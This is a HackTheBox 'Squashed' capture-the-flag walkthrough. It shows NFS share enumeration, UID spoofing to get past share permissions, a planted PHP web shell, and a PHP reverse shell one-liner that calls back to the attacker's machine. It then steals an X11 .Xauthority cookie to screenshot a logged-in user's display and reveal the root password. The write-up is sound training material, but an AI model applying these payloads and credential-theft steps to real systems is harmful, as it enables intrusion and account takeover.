> For the complete documentation index, see [llms.txt](https://thamizhiniyancs.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thamizhiniyancs.gitbook.io/writeups/hackthebox/machines/easy/squashed.md).

# Squashed

Squashed writeup by Thamizhiniyan C S

## Overview

Greetings everyone,

In this write-up, we will tackle Squashed from HackTheBox.

Machine link: [Squashed](https://app.hackthebox.com/machines/Squashed)

Difficulty Level: Easy

Let's Begin 🙌

Firstly, connect to the HTB server using the OpenVPN configuration file generated by HTB.  [Click Here](https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access) to learn more about how to connect to VPN and access the boxes.

Once connected to the VPN service, click on "Join Machine" to access the machine's IP.

Upon joining the machine, you will be able to view the IP address of the target machine.

***

## Reconnaissance

### Nmap Agressive Scan

`nmap -A -T4 -v <TARGET>`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FT65J1lFQ3rpp3lQy8qLr%2FUntitled%202.png?alt=media&amp;token=38f7b99a-bde8-44e9-a642-705fcdc0b2fe" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F1rtUocCI6ZeFszlLcVyL%2FUntitled%203.png?alt=media&amp;token=0afb5f6f-1316-41e2-8e72-a165eeb8978e" alt=""><figcaption></figcaption></figure>

### Results

| Ports | Services | Service Version     |
| ----- | -------- | ------------------- |
| 22    | SSH      | OpenSSH 8.2p1       |
| 80    | HTTP     | Apache httpd 2.4.41 |
| 111   | rpcbind  | -                   |

***

## Information Gathering - Port 80

First we will take a look at the website that is running on port 80. After surfing the site we found nothing interesting.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FjOdimD0DKY0Za0y2MDMM%2FUntitled%204.png?alt=media&amp;token=05f9ec23-3d87-4300-b2cc-f2ee6652dcf0" alt=""><figcaption></figcaption></figure>

***

## Enumerating the NFS Shares

### Showmount

First we have to start the enumeration by listing the available shares that is hosted by the target machine. To do that we use the command&#x20;

`showmount -e <IP-ADDRESS>`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fl31UdMCelnOBsdNg1CCU%2FUntitled%205.png?alt=media&amp;token=f98a0ffc-1d7c-49b8-a00e-c220b523022d" alt=""><figcaption></figcaption></figure>

We can see two file-shares. These shares are globally accessible which is denoted by the start ( \* ). Now we can access these shares and look into the contents of these shares. To do that we have to manually mount the NFS shares to our local Kali machine.

### Mounting the NFS Shares

To mount the NFS shares, First we have to create two directories for mounting them. I have created two directories `ross` and `html` to mount the shares `/home/ross` and `/var/www/html` respectively.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fe0dmjEgTaKWl2QSHzPxd%2FUntitled%206.png?alt=media&amp;token=eed6298d-3648-4509-a128-966caba1f1aa" alt=""><figcaption></figcaption></figure>

Next we have to mount these shares by using the command:

`sudo mount -t nfs <IP-ADDRESS>:<TARGET-SHARE-NAME> <MOUNTING-LOCATION>`

<div><figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FeEa2PiON8NoXnHTk5LF8%2FUntitled%207.png?alt=media&amp;token=6de420d6-4e88-4663-94cc-521f141d0fa0" alt=""><figcaption></figcaption></figure> <figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FwW0Kv4rWNY1wD5EpXQpB%2FUntitled%208.png?alt=media&amp;token=22a092fc-4a97-4349-8f9d-b497768f2760" alt=""><figcaption></figcaption></figure></div>

***

## Enumerating Shares: /home/ross

Now we have mounted the shares to our local machine. Now let’s take a look at these shares. First we will take a look at the `/home/ross` share by switching the directory to `ross` .

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F5m6fMvuj0ObztzRBVSV4%2FUntitled%209.png?alt=media&amp;token=a692d014-c2d0-47da-ac94-0dabe0c6263e" alt=""><figcaption></figcaption></figure>

We have discovered a `Passwords.kdbx` file. This file is a **keypass database** file. Let’s try to crack this by using the `keypass2john` tool. The command is `keypass2john <FILE>`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Ft0tc7tazI5E7FRi1efvc%2FUntitled%2010.png?alt=media&amp;token=e7aec511-f7e0-4ad4-9114-f525e8b7b0e8" alt=""><figcaption></figcaption></figure>

`keepass2john` throws an error that this version of Keypass database is not supported by it. So we can do nothing with this file. So let’s further search for anything interesting.

***

## Enumerating Shares: /var/www/html

We haven’t found anything interesting in the `/home/ross` share so we can now take a look at the `/var/www/html` share by switching the directory to the `html` directory. When we try to switch directory, we are facing with a permission denied error. If we run the command `ls -al` , we could see that the `html` share has user id of 2017. This means that this particular share can be accessed only by the user who has an id of 2017.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fw22YIG6X8ahhgzYamN7Z%2FUntitled%2011.png?alt=media&amp;token=257fde88-a518-4c06-8f8b-ac3ccda930d0" alt=""><figcaption></figcaption></figure>

To bypass this access control, we will create a user with a user id of 2017 in our local machine. With this newly created user we can access the `html` share. We create a new user with the desired user id by the following command : `adduser <USERNAME> —uid 2017`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FR1A14NuEPQH7grj5v9uQ%2FUntitled%2012.png?alt=media&amp;token=b6775283-cfee-4232-8ea9-73003041971d" alt=""><figcaption></figcaption></figure>

After creating the user, we switch to the new user created. To switch user we use the command : `su <USERNAME>`. After switching the user we switch directory to the `html` directory and we can start our enumerating process.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FQWSWTNmJQIH3HwhpNMoA%2FUntitled%2013.png?alt=media&amp;token=2b512a27-e256-4ec9-968a-fd6623ef6e17" alt=""><figcaption></figcaption></figure>

We could see that there is nothing interesting is found in this directory. And we can infer that this directory contains all the files of the website that is hosted on the target.&#x20;

***

## Initial Access

Given that the `/var/www/html` share houses all the files of the website hosted on the target, we could craft a straightforward backdoor within this share and then attempt to establish a reverse shell connection to the target machine.

We can create a simple PHP backdoor in the current working directory :

```
Backdoor: `<?php echo system($_GET[”cmd”]) ?>`
```

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fi5oDMA6on6hcMd3zuuFt%2FUntitled%2014.png?alt=media&amp;token=ef924945-5062-49b4-bf82-eef00319e70a" alt=""><figcaption></figcaption></figure>

We can check whether our backdoor is working by sending a GET request using the cmd parameter that we have created using the backdoor.

To verify the functionality of our backdoor, we can send a GET request to `http://<IP-ADDRESS>/backdoor.php`, including the desired command to execute on the target machine as a parameter named `cmd`.

GET Request : `http://<IP-ADDRESS>/backdoor.php?cmd=id`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FJCjx9YkVk7ki6eVELKPv%2FUntitled%2015.png?alt=media&amp;token=677aba22-cbd3-4f27-b8ab-62072d47ce20" alt=""><figcaption></figcaption></figure>

Our backdoor is working as we get the id of the user of the target machine. Let’s note the user details for further enumeration.

```
username : `alex`
uid : `2017`
```

Now we can use a simple PHP reverse shell:

```php
php -r '$sock=fsockopen("<IP-ADDRESS>",1234);exec("/bin/sh -i <&3 >&3 2>&3");’
```

We have to URL encode this reverse shell to use it as a parameter value in the URL. To do that, use the following site <https://www.urlencoder.org/> to encode the above mentioned reverse shell.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FYB1QMWzAG3wyIAKINlbo%2FUntitled%2016.png?alt=media&amp;token=69897b2b-070b-4cb4-b24b-7a6dcc57d908" alt=""><figcaption></figcaption></figure>

After encoding we will obtain a reverse shell like this:

```url
php%20-r%20%27%24sock%3Dfsockopen%28%22%3CIP-ADDRESS%3E%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%E2%80%99
```

The next step is to start a listener to listen for connection from the reverse shell that we have created. To start a listener use the following command in a new terminal:

`nc -nvlp 1234`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F9xbBFVT1MKbqv5wA57yq%2FUntitled%2017.png?alt=media&amp;token=126782c4-c75d-426b-8c19-d9b5c1cff6f6" alt=""><figcaption></figcaption></figure>

After creating a listener, now we can supply the reverse shell as a parameter in the URL :

```url
http://<IP-ADDRESS>/backdoor.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22%3CIP-ADDRESS%3E%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%E2%80%99
```

Now if we press enter we can see that the site is continuously loading and if check our listener we could see that we have received back a shell.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FoWqgubUA4pxcQw5EZHda%2FUntitled%2018.png?alt=media&amp;token=a10f2ec9-123a-489f-bd4c-27f93d007348" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fdqmb16L9pFP6NuZD8Vve%2FUntitled%2019.png?alt=media&amp;token=2ff967b1-fb5a-4446-ae4e-2add213a7d2a" alt=""><figcaption></figcaption></figure>

***

## Getting the User Flag

Now we can start enumerating the target machine. Let’s first check the `/home/alex` directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F5HuwEghxbWdIuP6jguPi%2FUntitled%2020.png?alt=media&amp;token=b9bcd1cb-d065-406b-901f-e50a35246bb2" alt=""><figcaption></figcaption></figure>

Hooray!!! we have found the `user.txt` file, our first flag in the home directory of `alex`. Our next step is to find our root flag.

***

## Privilege Escalation

Lets first try to switch to the root directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FQlidAsQEmO0XX9ogAKON%2FUntitled%2021.png?alt=media&amp;token=18d1f609-b7ea-4362-accc-58e6bb4be929" alt=""><figcaption></figcaption></figure>

We can see that we don’t have access to the root directory. Now we have to find a way to escalate our privilege as root. So first we can check the `/etc/passwd` file for finding the other users.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FayRoLhPT5XWZSVAAJ6JJ%2FUntitled%2022.png?alt=media&amp;token=0d411464-6c0e-4b24-a357-10cc16f8194a" alt=""><figcaption></figcaption></figure>

In the `/etc/passwd` file we can see the presence of the `LightDM` display manager. Remember that in our initial stages of enumerating the share `/home/ross` , we had found the presence of `.Xauthority` and `.xsession-errors` files. This show the possibility of some display is connected and configured using the x11 manager.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FAzTK8UoBT4ITygRLzpYj%2FUntitled%2023.png?alt=media&amp;token=d4daa3ed-7e37-488c-8f94-3e0a1d75fe4e" alt=""><figcaption></figcaption></figure>

### So what is X11 ?

The X Window System (X11, or simply X) is a [windowing system](https://en.wikipedia.org/wiki/Windowing_system) for [bitmap](https://en.wikipedia.org/wiki/Bitmap) displays, common on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) operating systems.

X provides the basic framework for a GUI environment: drawing and moving windows on the display device and interacting with a mouse and keyboard. X does not mandate the user interface – this is handled by individual programs. As such, the visual styling of X-based environments varies greatly; different programs may present radically different interfaces. (Source: <https://en.wikipedia.org/wiki/X_Window_System>)

The presence of `.Xauthority` and `.xsession` files in the home directory indicate that a display might be configured, with ross potentially already authenticated. This theory is further supported by the fact that the display manager `LightDM` is found in the `/etc/passwd` file.

Let’s check whether any any display is connected in the target machine by running the following command `w`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FL92h12dlVF6MaiL4V0Nz%2FUntitled%2024.png?alt=media&amp;token=974aba35-99f5-45a2-850f-e7a420f39a00" alt=""><figcaption></figcaption></figure>

We can see that the user `ross` has connected to the display of id `:0` .

Now let’s check what does the `.Xauthority` and `.xsession-errors` file contains.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FierhnXohDH8tjlpV9rYK%2FUntitled%2025.png?alt=media&amp;token=d784a3c9-f150-4bb6-854e-f236ce507b34" alt=""><figcaption></figcaption></figure>

We can see that we don’t have access to these files.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fsh4FQPWJtfgLMzyH9TPw%2FUntitled%2026.png?alt=media&amp;token=f99ff451-52fe-49c1-acd7-af519659cc25" alt=""><figcaption></figcaption></figure>

We can see that the `.Xauthority` and `.xsession-errors` files can only be accessed by the user with a `uid` of `1001` . So we have to create user with a `uid` of `1001` to access these files.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FgQKOHyp8d4lcr2pMUYp4%2FUntitled%2027.png?alt=media&amp;token=0f3c2175-551d-4735-adf3-f4a67d10e0fb" alt=""><figcaption></figcaption></figure>

Now we have created a new user with a `uid` of `1001` . Now switch to the new user that we have created by using the command `su <USERNAME>`. Now we can try to see contents of the `.Xauthority` file.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F59E8aYd8uoLYjAXEdcsj%2FUntitled%2028.png?alt=media&amp;token=d7543c92-bcdd-41d1-98b4-7c6162ac229a" alt=""><figcaption></figcaption></figure>

We can see that the `.Xauthority` contains the cookie of the `ross` users x11 session. Now we can use this cookie to act as user `ross` and we can gain access to the display. After gaining access, we can take try to take screenshots of the connected display to see the contents of the display.

Now we have to move this `.Xauthority` cookie file to the `alex` user’s directory to gain access to the display. To do that we will copy this `.Xauthority` file to the `/tmp` folder and we will host a simple http server from the `/tmp` directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FOCwqf2w3JdNmoTZznllz%2FUntitled%2029.png?alt=media&amp;token=06fa1f6e-257f-46fe-be1f-a54eb2a3d16a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FRlEs0dNkW2AXjqsOftIs%2FUntitled%2030.png?alt=media&amp;token=2365514f-b580-4382-b4ec-34b44c234ba8" alt=""><figcaption></figcaption></figure>

Now we have copied the file to the `/tmp` directory. Next step is to host a simple http webserver. We can do this by using the python simple `http.server` module. To do this use the following command : `python -m http.server`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FdRe8HVJ9Klzizfw4KT0t%2FUntitled%2031.png?alt=media&amp;token=209ea25f-fa3a-4590-a107-46edd5a10d5f" alt=""><figcaption></figcaption></figure>

Now you can see that our `/tmp` is hosted on port `8000`. Now from the reverse shell we obtained to the `/home/alex` directory, use the following command to download the `.Xauthority` file from our local machine.

Note : In this case we have to use our local machine’s `tun0` ip address to download the file.

Command : `wget http://<tun0-IP-ADDRESS>:8000/<FILENAME>`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Floz12LeF7duCNV2xDDqP%2FUntitled%2032.png?alt=media&amp;token=15ef79d7-3ecb-4bce-800f-e19af4e8250d" alt=""><figcaption></figcaption></figure>

Now we have downloaded the `.Xauthority` file to the `/home/alex` directory. Now we have to set this cookie. To set the cookie we have to have to point the downloaded `.Xauthority` file to the `XAUTHORITY`environment variable. To do that use the following command :

`export XAUTHORITY=<LOCATION-TO-THE-FILE>`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FEH8ErfSe5YUxx1GV7BKk%2FUntitled%2033.png?alt=media&amp;token=dbda308f-d7a3-43de-a8b3-569bdb5d58d4" alt=""><figcaption></figcaption></figure>

Now we have set the cookie successfully. Our next step is to take a screenshot of the display.

To take screenshot we can use the following command:

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FBMDW1ggLkK1SucEoL3gq%2FUntitled%2034.png?alt=media&amp;token=01f84055-eb38-4a36-9811-1409365d4c3a" alt=""><figcaption></figcaption></figure>

Reference : <https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11>

In our case the command will be:

`xwd -root -screen -silent -display <DISPLAY-ID> > <OUTPUT-FILE>`

Details of the flags used :

`-root` : selects the root window

`-screen` : send GetImage request to root window

`-silent` : operate silently

`-display` : specify the display

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FqLUvvs1Ur9NTzaXBNvFK%2FUntitled%2035.png?alt=media&amp;token=71e4b62c-c0e8-4fbd-87c1-553de32f76a6" alt=""><figcaption></figcaption></figure>

Now we have successfully obtained the screenshot. Now we have to copy this image to our local machine. To copy this file to our local machine we can make use of the website that is hosted in the target machine. Now move the `scrshot.xwd` file to `/var/www/html` directory. We know that we have access to the `/var/www/html` directory in our local machine as we have mounted the shares. So now check the `/var/www/html` share in our local machine, we can find the `scrshot.xwd` file.

Now we can copy this file to the `/tmp` directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FOpH6CA9SbY2aeTOcxqLG%2FUntitled%2036.png?alt=media&amp;token=cf637e38-05b7-4a3f-9b23-50e4841fce19" alt=""><figcaption></figcaption></figure>

Now we can convert the `scrshot.xwd` file to `png` file in the `/tmp` folder. We can do this by using the following command : `convert scrshot.xwd scrshot.png`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FgtPzCktePsE7u3w5fBEG%2FUntitled%2037.png?alt=media&amp;token=9c30092e-f2e3-450f-9224-0878acdd16ce" alt=""><figcaption></figcaption></figure>

Now we can open the `scrshot.png` file to see the contents of it.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F1TorEh3hKGA74w7xiRxH%2FUntitled%2038.png?alt=media&amp;token=559b3119-bd8a-4eda-acf5-01aeb8a5fd98" alt=""><figcaption></figcaption></figure>

We can see a password manager with the root user’s password in the screenshot. Remember that our target machine has the ssh service open in port 22. Now we can use these credentials to ssh into the target machine.

***

## Getting the Root Flag

We can see a password manager with the root user’s password in the screenshot. Remember that our target machine has the ssh service open in port 22. Now we can use these credentials to ssh into the target machine.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fao64mJjEBYRVpF1JzJvj%2FUntitled%2039.png?alt=media&amp;token=da38051a-c7d6-4b76-9520-a11b7d458cbd" alt=""><figcaption></figcaption></figure>

Now we have gained access to the `root` user. Now we can read the `root.txt` file.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F0SRnea7GnBDfZmMTdEkU%2FUntitled%2040.png?alt=media&amp;token=a9f9f64a-72cb-4851-ae78-7f279e50a718" alt=""><figcaption></figcaption></figure>

Hooray!!! we have found the root flag.

Thank You.
